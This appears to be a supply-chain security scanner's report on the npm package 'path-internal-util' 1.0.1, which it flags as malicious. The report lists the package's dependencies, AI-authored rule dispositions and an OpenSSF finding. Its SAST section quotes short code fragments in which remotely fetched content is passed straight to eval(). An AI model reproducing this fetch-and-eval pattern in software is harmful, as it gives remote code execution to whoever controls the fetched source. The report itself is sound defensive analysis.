All path-internal-util versions
path-internal-util @1.0.1
Node.js path module
Maintainers
Dependencies (7)
| Package | Constraint | Registry Status |
|---|---|---|
| fs | ^0.0.1-security | auto_approved |
| path | ^0.12.7 | auto_approved |
| util | ^0.10.3 | auto_approved |
| axios | ^1.4.0 | auto_approved |
| execp | ^0.0.1 | auto_approved |
| process | ^0.11.1 | auto_approved |
| request | ^2.88.2 | No greenflagged match |
Transitive Dependency Tree
Risk Dispositions (3 applicable to this version, 0 other)
Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.
| Rule | Source | Disposition | Author | Reason | |
|---|---|---|---|---|---|
semgrep:eval-usage |
semgrep | reject | AI | AI (semgrep): eval() on remotely-fetched content is RCE; not a false positive for this package. | |
unvetted-dep:execp |
dependencies | reject | AI | AI (dependencies): Suspicious dependency in a malicious package; generalizes across versions. | |
unvetted-dep:request |
dependencies | reject | AI | AI (dependencies): Used to fetch remote payload for eval; malicious pattern generalizes. |
SAST Findings (6)
[Always reject] Version constraint: ^0.0.1.
[Always reject] Version constraint: ^2.88.2.
--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (db91c8a40ff204e2aa98c594413d69b624d93a4ac51ea09fc00b1d3f63b8e462) The OpenSSF Package Analysis project identified 'path-internal-util' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.
[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 554 | .then((data) => { 555 | const codeString = data.content; > 556 | eval(codeString); 557 | }) 558 | .catch((t) => console.error("Error fetching or executing code:", t));
[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 564 | .then((data) => { 565 | const codeString = data.content; > 566 | eval(codeString); 567 | }) 568 | .catch((t) => console.error("Error fetching or executing code:", t));
Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.
Review Summary
Risk score: 100 (capped from 221). Findings: 5 critical (+200), 7 low (+21).
Published to npm: